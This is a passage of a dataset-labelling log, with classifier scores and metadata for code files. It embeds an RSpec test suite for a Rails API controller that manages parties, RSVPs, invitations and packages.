"cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:31:10.482234+00:00", "scoring_key_slot": "primary", "dataset_uid": "a27a324e-0dc3-4747-9ae0-a50adbcd51ed", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "464af2bf8937e5846f082c95cb27f591f956430f727baed8a5a20a9eb2e03f57", "source_metadata": {"uuid": "a27a324e-0dc3-4747-9ae0-a50adbcd51ed", "repo_name": "JipVoss/FoxBMS", "relative_path": "tools/vendor/ceedling/lib/ceedling/file_finder.rb", "category": "TOOL", "algo_rel_score": 0.9740846753120422, "quality_score": 6.254804611206055, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 1, "repo_created_at": "2025-04-16T09:03:48.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "58948923856a8057e04b1120bf9ba41600071083", "size_bytes": 6104, "file_timestamp": 1744794296, "language": "ruby", "is_vendor": true, "license_type": "no_license", "detected_licenses": []}, "commit_id": "874618c7b53003b146374f71ef036a6e3deba151"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 1, "repo_created_at": "2025-04-16T09:03:48.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "58948923856a8057e04b1120bf9ba41600071083", "size_bytes": 6104, "file_timestamp": 1744794296, "language": "ruby", "is_vendor": true, "license_type": "no_license", "detected_licenses": []}, "commit_id": "874618c7b53003b146374f71ef036a6e3deba151", "url": "https://github.com/JipVoss/FoxBMS/blob/874618c7b53003b146374f71ef036a6e3deba151/tools/vendor/ceedling/lib/ceedling/file_finder.rb"}, "gpt4o_tokens": 1299, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.8927232147952903, "noise_severity": 0.21595199547053612, "missing_content_severity": 0.01686271126239068, "factual_density": 3.2176030082666656, "pretraining_utility": 0.3127323891810142, "math_density": 0.004407610053514091, "code_density": 3.7425783717649157, "reasoning_density": 0.8646193753264182, "education_level": 2.5088693783364158, "creative_writing_quality": -0.13530069934473596}, "score_applicability": {"education_level": 0.9988955098998973, "creative_writing_quality": 0.000668607665219801}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/GreenStraw/form_finger_nation/blob/b9df973d55a5df87230dbeebc61ec45435dfd8a3/spec/controllers/api/v1/parties_controller_spec.rb", "id": "ruby-0-4b53fbd55490a938701b3c840e25c719", "text": "require 'spec_helper'\n\ndescribe Api::V1::PartiesController do\n before do\n create_new_tenant\n login(:admin)\n @party = Fabricate(:party)\n @package = Fabricate(:package)\n request.headers['auth-token'] = @current_user.authentication_token\n request.headers['auth-email'] = @current_user.email\n request.headers['api-token'] = ''\n end\n\n let(:valid_attributes) { Fabricate.attributes_for(:party) }\n\n describe \"search_parties(search, address, radius)\" do\n it \"returns empty array if none found\" do\n Address.should_receive(:class_within_radius_of).with('Venue', 1, 1, 25).once.and_return([])\n subject.send(:search_parties, 1, 1, 25).should == []\n end\n it \"returns parties for venues in range\" do\n Address.should_receive(:class_within_radius_of).with('Venue', 1, 1, 25).once.and_return([@party.venue.address])\n subject.send(:search_parties, 1, 1, 25).should == [@party]\n end\n end\n\n describe \"GET index\" do\n before(:each) do\n get :index, :format => :json\n end\n it \"returns https status 200\" do\n response.status.should eq(200)\n end\n it \"assigns all parties as @parties\" do\n assigns(:parties).should_not be_nil\n end\n end\n\n describe 'GET show' do\n context 'show' do\n before do\n get :show, id: @party.id, format: :json\n end\n\n it 'returns http 200' do\n response.response_code.should eq(200)\n end\n end\n end\n\n describe 'GET by_attendee' do\n before do\n get :by_attendee, user_id: @current_user.id, format: :json\n end\n\n it \"should return 200\" do\n response.status.should eq(200)\n end\n end\n\n describe 'GET by_organizer' do\n before do\n get :by_organizer, user_id: @current_user.id, format: :json\n end\n\n it \"should return 200\" do\n response.status.should eq(200)\n end\n end\n\n describe 'GET by_user_favorites' do\n before do\n get :by_user_favorites, user_id: @current_user.id, format: :json\n end\n\n it \"should return 200\" do\n response.status.should eq(200)\n end\n end\n\n describe \"GET search\" do\n context \"no radius\" do\n before do\n get :search, lat: 1, lng: 1, format: :json\n end\n\n it \"returns http 200\" do\n response.response_code.should eq(200)\n end\n end\n\n context \"radius\" do\n before do\n get :search, lat: 1, lng: 1, radius: 50, format: :json\n end\n\n it \"returns http 200\" do\n response.response_code.should eq(200)\n end\n end\n end\n\n describe \"POST create\" do\n describe \"with valid params\" do\n before(:each) do\n post :create, :party => valid_attributes, :format => :json\n end\n it \"assigns a newly created party as @party\" do\n assigns(:party).should be_a(Party)\n end\n it \"creates a new Party\" do\n assigns(:party).should be_persisted\n end\n it \"responds with status 201\" do\n expect(response.status).to eq(201)\n end\n it \"responds with json\" do\n expect(JSON.parse(response.body)).to have_key('party')\n end\n it \"rsvps the current user to the party\" do\n expect(current_user.reservation_ids).to include(Party.last.id)\n end\n end\n\n describe \"with invalid params\" do\n before(:each) do\n post :create, :party => { \"name\" => \"\" }, :format => :json\n end\n it \"assigns a newly created but unsaved activity as @party\" do\n assigns(:party).should be_a_new(Party)\n end\n it \"dos not persist the party\" do\n assigns(:party).should_not be_persisted\n end\n it \"responds with status 422\" do\n expect(response.status).to eq(422)\n end\n end\n\n describe \"with unix scheduled_for\" do\n before(:each) do\n post :create, :party => { \"name\" => \"test\",\"scheduled_for\"=>(DateTime.now + 3.days).to_i, venue_id: Venue.first.id }, :format => :json\n end\n it \"returns a 201\" do\n expect(response.status).to eq(201)\n end\n end\n describe \"with Datetime scheduled_for\" do\n before(:each) do\n post :create, :party => { \"name\" => \"test\",\"scheduled_for\"=>(DateTime.now + 3.days), venue_id: Venue.first.id }, :format => :json\n end\n it \"returns a 201\" do\n expect(response.status).to eq(201)\n end\n end\n end\n\n describe \"PUT update\" do\n describe \"with valid params\" do\n before(:each) do\n # Party.any_instance.should_receive(:update)\n put :update, :id => @party.to_param, :party => valid_attributes, :format => :json\n end\n it \"assigns the requested activity as @party\" do\n assigns(:party).should eq(@party)\n end\n it \"responds with status 204\" do\n expect(response.status).to eq(204)\n end\n it \"responds with json\" do\n # expect(JSON.parse(response.body)).to have_key('party')\n response.body.should == ''\n end\n end\n\n describe \"with invalid params\" do\n before(:each) do\n Party.should_receive(:find).and_return(@party)\n @party.should_receive(:valid?).and_return(false)\n @party.errors.add(:base, \"some generic error\")\n put :update, :id => @party.id, :party => { \"venue_id\" => \"\" }, :format => :json\n end\n it \"assigns the activity as @party\" do\n assigns(:party).should eq(@party)\n end\n it \"should return the error as json\" do\n response.body.should eq(\"{\\\"errors\\\":{\\\"base\\\":[\\\"some generic error\\\"]}}\")\n end\n end\n end\n describe \"DELETE destroy\" do\n it \"destroys the requested activity\" do\n expect {\n delete :destroy, :id => @party.id, :format => :json\n }.to change(Party, :count).by(-1)\n end\n end\n\n describe \"PUT rsvp\" do\n context 'user not authenticated' do\n before {\n request.headers['auth-token'] = ''\n xhr :put, :rsvp, id: @party.id, user_id: @current_user.id\n }\n\n it 'returns http 401' do\n response.response_code.should == 401\n end\n end\n context 'user authenticated' do\n context 'party attendees does not include user' do\n before {\n @party.attendees.clear\n @party.attendees.should_not include(@current_user)\n xhr :put, :rsvp, id: @party.id, user_id: @current_user.id\n }\n\n it 'should add the attendee to party' do\n assigns(:party).attendees.should include(@current_user)\n end\n\n it 'returns http 204' do\n response.response_code.should == 204\n end\n end\n context 'party attendees does include user' do\n before {\n @party.attendees.clear\n @party.attendees.should_not_receive(:<<)\n xhr :put, :rsvp, id: @party.id, user_id: @current_user.id\n }\n\n it 'returns http 204' do\n response.response_code.should == 204\n end\n end\n end\n end\n\n describe \"PUT unrsvp\" do\n context 'user not authenticated' do\n before {\n request.headers['auth-token'] = ''\n xhr :put, :unrsvp, id: @party.id, user_id: @current_user.id\n }\n\n it 'returns http 401' do\n response.response_code.should == 401\n end\n end\n context 'user authenticated' do\n context 'party attendees include user' do\n before {\n @party.attendees.clear\n @party.attendees << @current_user\n @party.attendees.should include(@current_user)\n xhr :put, :unrsvp, id: @party.id, user_id: @current_user.id\n }\n\n it 'should add the attendee to party' do\n assigns(:party).attendees.should_not include(@current_user)\n end\n\n it 'returns http 204' do\n response.response_code.should == 204\n end\n end\n context 'party attendees does not include user' do\n before {\n @party.attendees.clear\n @party.attendees.should_not_receive(:delete)\n xhr :put, :unrsvp, id: @party.id, user_id: @current_user.id\n }\n\n it 'returns http 204' do\n response.response_code.should == 204\n end\n end\n end\n end\n\n describe \"invite\" do\n before(:each) do\n @party.update_attribute(:organizer, @current_user)\n Party.should_receive(:find).and_return(@party)\n post :invite, id: 1, emails:[''], :format => :json\n end\n it \"responds with status 201\" do\n expect(response.status).to eq(201)\n end\n it \"responds with json\" do\n expect(JSON.parse(response.body)).to have_key('party')\n end\n\n context \"user is invited by id\" do\n before(:each) do\n @party.update_attribute(:organizer, @current_user)\n end\n it \"passes the correct invitees to PartyInvitation.create_invitations\" do\n u = User.create(email: '')\n PartyInvitation.should_receive(:send_invitations).with(['',''] ,@party.organizer_id, @party.id)\n post :invite, id: 1, emails:['',''], :format => :json\n end\n end\n end\n\n describe \"PUT add_package\" do\n context \"user not fan\" do\n it \"adds user to party packages\" do\n expect {\n put :add_package, id: @party.id, package_id: @package.id, format: :json\n }.to change(@party.packages, :count).by(1)\n end\n end\n context \"user already fan\" do\n before {\n @party.packages = [@package]\n }\n it \"does not add user\" do\n expect {\n put :add_package, id: @party.id, package_id: @package.id, format: :json\n }.to change(@party.packages, :count).by(0)\n end\n end\n end\n\n describe \"PUT remove_package\" do\n context \"user is fan\" do\n before {\n @party.packages = [@package]\n }\n it \"removes user from party packages\" do\n expect {\n put :remove_package, id: @party.id, package_id: @package.id, format: :json\n }.to change(@party.packages, :count).by(-1)\n end\n end\n context \"user not fan\" do\n it \"does not remove user\" do\n expect {\n put :remove_package, id: @party.id, package_id: @package.id, format: :json\n }.to change(@party.packages, :count).by(0)\n end\n end\n end\nend\n", "text_preview": "require 'spec_helper' describe Api::V1::PartiesController do before do create_new_tenant login(:admin) @party = Fabricate(:party) @package = Fabricate(:package) request.headers['auth-token'] = @current_user.authentication_token request.head", "input_sha256": "47a0a410cd6b34e0382aa8b673581251a137dc7c13dd9098e8ebc5bd1b23c613", "text_sha256": "4b53fbd55490a938701b3c840e25c7199acf3c647ed1f1d4356aee7a9ea78a4a", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16038, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9341954032904001, "noise_severity": 0.1234715929768436, "missing_content_severity": 0.10906030589049942, "factual_density": 3.2689708796733323, "pretraining_utility": 0.3184635385058718, "math_density": 0.0798166827609405, "code_density": 3.9395887031761077, "reasoning_density": 0.9520082176947857, "education_level": 2.539890779999631, "creative_writing_quality": -0.27543116138447293}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.0249601248861, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9873536014196554, "secondary": 0.9501440893106236, "tertiary": 0.9761894370178583, "structured_records": 0.3227321060384437, "procedural_steps": 0.010882389566045215, "worked_solution": 0.09896818421324403, "contextual_dialogue": 1.0977074612524802e-05, "content_quality": 0.5159526622566872, "noise_severity": 0.8971070058526304, "missing_content_severity": 0.9091164117579171, "factual_density": 0.508484675890117, "pretraining_utility": 0.43517422016368235, "math_density": 0.9334860976992162, "code_density": 0.9496572526467565, "reasoning_density": 0.20665981858767857, "education_level": 0.41890676845233854, "creative_writing_quality": 0.998976535416515, "primary_topic": 0.9826590156060322, "secondary_topic": 0.9531935642268025}, "probability_margin": {"primary": 0.9789277748756687, "secondary": 0.926532690687646, "tertiary": 0.9666195311527884, "education_level": 0.1128443892289524, "creative_writing_quality": 0.9987143096858454, "primary_topic": 0.972690919820694, "secondary_topic": 0.9411305544974674}, "raw_probabilities": {"primary": {"Academic Writing": 8.626254863067727e-05, "Content Listing": 6.016582695121245e-05, "Creative Writing": 2.9500550786951437e-05, "Customer Support Page": 1.6133888234204446e-05, "Q&A Forum": 1.937655107500189e-05, "Discussion Thread": 1.3017395091456935e-05, "Comment Section": 2.194195038122368e-05, "Missing Content": 3.000828485279082e-05, "Knowledge Article": 7.520717807926154e-05, "Legal Notices": 5.412877298843398e-05, "News Article": 8.500099016861005e-06, "Organizational Announcement": 1.75797194191877e-05, "Nonfiction Writing": 1.846878276116382e-05, "Organizational About Page": 1.903225225574266e-05, "Personal About Page": 1.8584696417963205e-05, "Personal Blog": 1.1251105676140054e-05, "Product Page": 1.3233219227540347e-05, "Spam / Ads": 1.735387831675222e-05, "Structured Data": 0.0022138617122197156, "Technical Writing": 0.9878805346938365, "Transcript / Interview": 3.5749768410581034e-05, "Tutorial / How-To Guide": 0.00037531344787304947, "User Reviews": 1.2033859329511427e-05, "Other / Unknown": 0.008952759818167831}, "secondary": {"Academic Writing": 0.00028832358987661766, "Content Listing": 0.00032258330403852877, "Creative Writing": 0.00018384458770155868, "Customer Support Page": 0.00010359727023980343, "Q&A Forum": 8.360736964332847e-05, "Discussion Thread": 7.491697087631642e-05, "Comment Section": 0.0001338122992771396, "Missing Content": 0.0004595277707674728, "Knowledge Article": 0.0004930286026995133, "Legal Notices": 0.00028938636572425344, "News Article": 0.00010500243470018092, "Organizational Announcement": 0.00010501660520098435, "Nonfiction Writing": 9.309928973882061e-05, "Organizational About Page": 0.00010571698730567519, "Personal About Page": 9.535735225384487e-05, "Personal Blog": 9.301821867998103e-05, "Product Page": 6.909215218062519e-05, "Spam / Ads": 0.00013976911679816745, "Structured Data": 0.016784279713379906, "Technical Writing": 0.025688728235034892, "Transcript / Interview": 0.0001544071838878721, "Tutorial / How-To Guide": 0.0018583084098239629, "User Reviews": 5.415724748978318e-05, "NONE": 0.9522214189226809}, "tertiary": {"Academic Writing": 0.00015144988884288534, "Content Listing": 0.0003632681679767523, "Creative Writing": 0.00012380764551727142, "Customer Support Page": 5.8949932455740626e-05, "Q&A Forum": 4.875994611849775e-05, "Discussion Thread": 4.456909377127445e-05, "Comment Section": 0.00010164015615624269, "Missing Content": 0.0009970482620669046, "Knowledge Article": 0.0003289184794844092, "Legal Notices": 0.00038149971674166807, "News Article": 6.526111761068325e-05, "Organizational Announcement": 5.678883468405251e-05, "Nonfiction Writing": 6.970476005522422e-05, "Organizational About Page": 8.35622729056324e-05, "Personal About Page": 4.664524408675269e-05, "Personal Blog": 5.238105199016026e-05, "Product Page": 4.2601721599007036e-05, "Spam / Ads": 0.00010336266948725564, "Structured Data": 0.0076710167654277395, "Technical Writing": 0.010562012655992438, "Transcript / Interview": 8.679498572302516e-05, "Tutorial / How-To Guide": 0.0013426197044373919, "User Reviews": 3.579311808817571e-05, "NONE": 0.9771815438087809}, "structured_records": {"false": 0.6772678939615563, "true": 0.3227321060384437}, "procedural_steps": {"false": 0.9891176104339547, "true": 0.010882389566045215}, "worked_solution": {"false": 0.901031815786756, "true": 0.09896818421324403}, "contextual_dialogue": {"false": 0.9999890229253875, "true": 1.0977074612524802e-05}, "content_quality": {"-2": 0.0076906408023285616, "-1": 0.030324477132600166, "0": 0.23960982432860164, "1": 0.46484895344528193, "2": 0.2575261042911877}, "noise_severity": {"0": 0.8914921874245421, "1": 0.09673480352777417, "2": 0.009474294502899966, "3": 0.0014066577358660473, "4": 0.000892056808917838}, "missing_content_severity": {"0": 0.9061978957759603, "1": 0.08329831609138855, "2": 0.006906624440991154, "3": 0.0024399138495111417, "4": 0.001157249842148786}, "factual_density": {"0": 0.006335271345865669, "1": 0.010877508126623596, "2": 0.11966292433841946, "3": 0.4337296618864954, "4": 0.42939463430259583}, "pretraining_utility": {"-2": 0.013699879795865889, "-1": 0.15226393905712293, "0": 0.4061196528603705, "1": 0.35770581941855495, "2": 0.07021070886808578}, "math_density": {"0": 0.9384030201913451, "1": 0.051985474152591686, "2": 0.004513099280383918, "3": 0.0015886154551359752, "4": 0.0035097909205432645}, "code_density": {"0": 0.00012508256158524352, "1": 0.00021270940584433353, "2": 0.004639711065933265, "3": 0.04999341622815171, "4": 0.9450290807384853}, "reasoning_density": {"0": 0.55052868780382, "1": 0.13981436241878936, "2": 0.1778585595545868, "3": 0.07071682472439225, "4": 0.06108156549841152}, "education_level": {"none": 0.0012118257955906877, "0": 0.0013303008529046906, "1": 0.006198695556560196, "2": 0.5157556403769488, "3": 0.40291125114799636, "4": 0.07259228626999935}, "creative_writing_quality": {"not_applicable": 0.9991471128470958, "-2": 0.00010762139651812551, "-1": 0.00018619052857284023, "0": 0.00043280316125043374, "1": 8.60225105710419e-05, "2": 4.024955599186046e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00021712216757283117, "Art & Design": 9.794511263253254e-05, "Law & Crime": 7.431503501593092e-05, "Education & Careers": 7.140566594074257e-05, "Entertainment & Media": 0.0007012603741529034, "Fashion & Beauty": 0.00012494833435885972, "Business, Economics & Finance": 0.0003693973082055676, "Food & Dining": 0.00024014549238238596, "Games & Gaming": 0.000581335608183287, "Electronics & Hardware": 7.486875802328722e-05, "Health, Healthcare & Wellness": 6.28811673507245e-05, "History & Geography": 4.6857972067784185e-05, "Home, Pets & Hobbies": 0.0006761065373036714, "Industry & Production": 4.154683477125536e-05, "Language, Literature & Philosophy": 5.430417799117256e-05, "Politics & Government": 0.00012211416101122423, "Religion & Spirituality": 0.00012069419283210482, "Science, Mathematics & Engineering": 0.00010757915097893973, "Relationships & Community": 0.010635056723567635, "Software Usage & Applications": 0.00037456735139141756, "Programming & Software Engineering": 0.9833259765442617, "Sports & Fitness": 0.00011962333462536426, "Vehicles & Transportation": 3.1367866497817284e-05, "Travel & Tourism": 0.0005318517155641088, "Other / Uncovered Subject": 0.0010510978801327056, "Unknown / Insufficient Content": 0.00014563053318404726}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006040945996666786, "Art & Design": 0.00036456972354120305, "Law & Crime": 0.0006174691311974173, "Education & Careers": 0.0003036828213722081, "Entertainment & Media": 0.002872588344847245, "Fashion & Beauty": 0.00038893777747642434, "Business, Economics & Finance": 0.0016674839221464785, "Food & Dining": 0.0008154938991158442, "Games & Gaming": 0.0013907989476485412, "Electronics & Hardware": 0.0002659445036856726, "Health, Healthcare & Wellness": 0.00028022460583388987, "History & Geography": 0.00018271632157088632, "Home, Pets & Hobbies": 0.001387250801302214, "Industry & Production": 0.00014425545037774433, "Language, Literature & Philosophy": 0.0001922592632903539, "Politics & Government": 0.00044063262339983836, "Religion & Spirituality": 0.0003632157674058651, "Science, Mathematics & Engineering": 0.0004663040059169516, "Relationships & Community": 0.013863257259073464, "Software Usage & Applications": 0.0017982148281503758, "Programming & Software Engineering": 0.011378651083657893, "Sports & Fitness": 0.0004325039505540175, "Vehicles & Transportation": 0.0001087742600756391, "Travel & Tourism": 0.0014249415270117644, "Other / Uncovered Subject": 0.0032519228251404303, "NONE": 0.9549938117565409}}, "probabilities": {"primary": {"Academic Writing": 8.626254863067729e-05, "Content Listing": 6.016582695121246e-05, "Creative Writing": 2.9500550786951443e-05, "Customer Support Page": 1.613388823420445e-05, "Q&A Forum": 1.9376551075001894e-05, "Discussion Thread": 1.3017395091456939e-05, "Comment Section": 2.1941950381223682e-05, "Missing Content": 3.0008284852790828e-05, "Knowledge Article": 7.520717807926156e-05, "Legal Notices": 5.412877298843399e-05, "News Article": 8.500099016861006e-06, "Organizational Announcement": 1.7579719419187704e-05, "Nonfiction Writing": 1.8468782761163823e-05, "Organizational About Page": 1.9032252255742665e-05, "Personal About Page": 1.8584696417963208e-05, "Personal Blog": 1.1251105676140056e-05, "Product Page": 1.323321922754035e-05, "Spam / Ads": 1.7353878316752223e-05, "Structured Data": 0.002213861712219716, "Technical Writing": 0.9878805346938367, "Transcript / Interview": 3.574976841058104e-05, "Tutorial / How-To Guide": 0.0003753134478730496, "User Reviews": 1.203385932951143e-05, "Other / Unknown": 0.008952759818167833}, "secondary": {"Academic Writing": 0.00028832358987661766, "Content Listing": 0.00032258330403852877, "Creative Writing": 0.00018384458770155868, "Customer Support Page": 0.00010359727023980343, "Q&A Forum": 8.360736964332847e-05, "Discussion Thread": 7.491697087631642e-05, "Comment Section": 0.0001338122992771396, "Missing Content": 0.0004595277707674728, "Knowledge Article": 0.0004930286026995133, "Legal Notices": 0.00028938636572425344, "News Article": 0.00010500243470018092, "Organizational Announcement": 0.00010501660520098435, "Nonfiction Writing": 9.309928973882061e-05, "Organizational About Page": 0.00010571698730567519, "Personal About Page": 9.535735225384487e-05, "Personal Blog": 9.301821867998103e-05, "Product Page": 6.909215218062519e-05, "Spam / Ads": 0.00013976911679816745, "Structured Data": 0.016784279713379906, "Technical Writing": 0.025688728235034892, "Transcript / Interview": 0.0001544071838878721, "Tutorial / How-To Guide": 0.0018583084098239629, "User Reviews": 5.415724748978318e-05, "NONE": 0.9522214189226809}, "tertiary": {"Academic Writing": 0.00015144988884288534, "Content Listing": 0.0003632681679767523, "Creative Writing": 0.00012380764551727142, "Customer Support Page": 5.8949932455740626e-05, "Q&A Forum": 4.875994611849775e-05, "Discussion Thread": 4.456909377127445e-05, "Comment Section": 0.00010164015615624269, "Missing Content": 0.0009970482620669046, "Knowledge Article": 0.0003289184794844092, "Legal Notices": 0.00038149971674166807, "News Article": 6.526111761068325e-05, "Organizational Announcement": 5.678883468405251e-05, "Nonfiction Writing": 6.970476005522422e-05, "Organizational About Page": 8.35622729056324e-05, "Personal About Page": 4.664524408675269e-05, "Personal Blog": 5.238105199016026e-05, "Product Page": 4.2601721599007036e-05, "Spam / Ads": 0.00010336266948725564, "Structured Data": 0.0076710167654277395, "Technical Writing": 0.010562012655992438, "Transcript / Interview": 8.679498572302516e-05, "Tutorial / How-To Guide": 0.0013426197044373919, "User Reviews": 3.579311808817571e-05, "NONE": 0.9771815438087809}, "structured_records": {"false": 0.6772678939615563, "true": 0.3227321060384437}, "procedural_steps": {"false": 0.9891176104339547, "true": 0.010882389566045215}, "worked_solution": {"false": 0.901031815786756, "true": 0.09896818421324403}, "contextual_dialogue": {"false": 0.9999890229253875, "true": 1.0977074612524802e-05}, "content_quality": {"-2": 0.0076906408023285616, "-1": 0.030324477132600166, "0": 0.23960982432860164, "1": 0.46484895344528193, "2": 0.2575261042911877}, "noise_severity": {"0": 0.8914921874245421, "1": 0.09673480352777417, "2": 0.009474294502899966, "3": 0.0014066577358660473, "4": 0.000892056808917838}, "missing_content_severity": {"0": 0.9061978957759603, "1": 0.08329831609138855, "2": 0.006906624440991154, "3": 0.0024399138495111417, "4": 0.001157249842148786}, "factual_density": {"0": 0.006335271345865669, "1": 0.010877508126623596, "2": 0.11966292433841946, "3": 0.4337296618864954, "4": 0.42939463430259583}, "pretraining_utility": {"-2": 0.013699879795865889, "-1": 0.15226393905712293, "0": 0.4061196528603705, "1": 0.35770581941855495, "2": 0.07021070886808578}, "math_density": {"0": 0.9384030201913451, "1": 0.051985474152591686, "2": 0.004513099280383918, "3": 0.0015886154551359752, "4": 0.0035097909205432645}, "code_density": {"0": 0.00012508256158524355, "1": 0.00021270940584433356, "2": 0.004639711065933266, "3": 0.04999341622815172, "4": 0.9450290807384855}, "reasoning_density": {"0": 0.55052868780382, "1": 0.13981436241878936, "2": 0.1778585595545868, "3": 0.07071682472439225, "4": 0.06108156549841152}, "education_level": {"none": 0.0012118257955906877, "0": 0.0013303008529046906, "1": 0.006198695556560196, "2": 0.5157556403769488, "3": 0.40291125114799636, "4": 0.07259228626999935}, "creative_writing_quality": {"not_applicable": 0.9991471128470958, "-2": 0.00010762139651812551, "-1": 0.00018619052857284023, "0": 0.00043280316125043374, "1": 8.60225105710419e-05, "2": 4.024955599186046e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00021712216757283117, "Art & Design": 9.794511263253254e-05, "Law & Crime": 7.431503501593092e-05, "Education & Careers": 7.140566594074257e-05, "Entertainment & Media": 0.0007012603741529034, "Fashion & Beauty": 0.00012494833435885972, "Business, Economics & Finance": 0.0003693973082055676, "Food & Dining": 0.00024014549238238596, "Games & Gaming": 0.000581335608183287, "Electronics & Hardware": 7.486875802328722e-05, "Health, Healthcare & Wellness": 6.28811673507245e-05, "History & Geography": 4.6857972067784185e-05, "Home, Pets & Hobbies": 0.0006761065373036714, "Industry & Production": 4.154683477125536e-05, "Language, Literature & Philosophy": 5.430417799117256e-05, "Politics & Government": 0.00012211416101122423, "Religion & Spirituality": 0.00012069419283210482, "Science, Mathematics & Engineering": 0.00010757915097893973, "Relationships & Community": 0.010635056723567635, "Software Usage & Applications": 0.00037456735139141756, "Programming & Software Engineering": 0.9833259765442617, "Sports & Fitness": 0.00011962333462536426, "Vehicles & Transportation": 3.1367866497817284e-05, "Travel & Tourism": 0.0005318517155641088, "Other / Uncovered Subject": 0.0010510978801327056, "Unknown / Insufficient Content": 0.00014563053318404726}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006040945996666787, "Art & Design": 0.0003645697235412031, "Law & Crime": 0.0006174691311974175, "Education & Careers": 0.00030368282137220815, "Entertainment & Media": 0.0028725883448472455, "Fashion & Beauty": 0.0003889377774764244, "Business, Economics & Finance": 0.0016674839221464787, "Food & Dining": 0.0008154938991158443, "Games & Gaming": 0.0013907989476485414, "Electronics & Hardware": 0.00026594450368567265, "Health, Healthcare & Wellness": 0.0002802246058338899, "History & Geography": 0.00018271632157088635, "Home, Pets & Hobbies": 0.0013872508013022143, "Industry & Production": 0.00014425545037774436, "Language, Literature & Philosophy": 0.00019225926329035392, "Politics & Government": 0.0004406326233998384, "Religion & Spirituality": 0.00036321576740586516, "Science, Mathematics & Engineering": 0.0004663040059169517, "Relationships & Community": 0.013863257259073466, "Software Usage & Applications": 0.001798214828150376, "Programming & Software Engineering": 0.011378651083657895, "Sports & Fitness": 0.00043250395055401754, "Vehicles & Transportation": 0.00010877426007563911, "Travel & Tourism": 0.0014249415270117646, "Other / Uncovered Subject": 0.0032519228251404308, "NONE": 0.954993811756541}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": 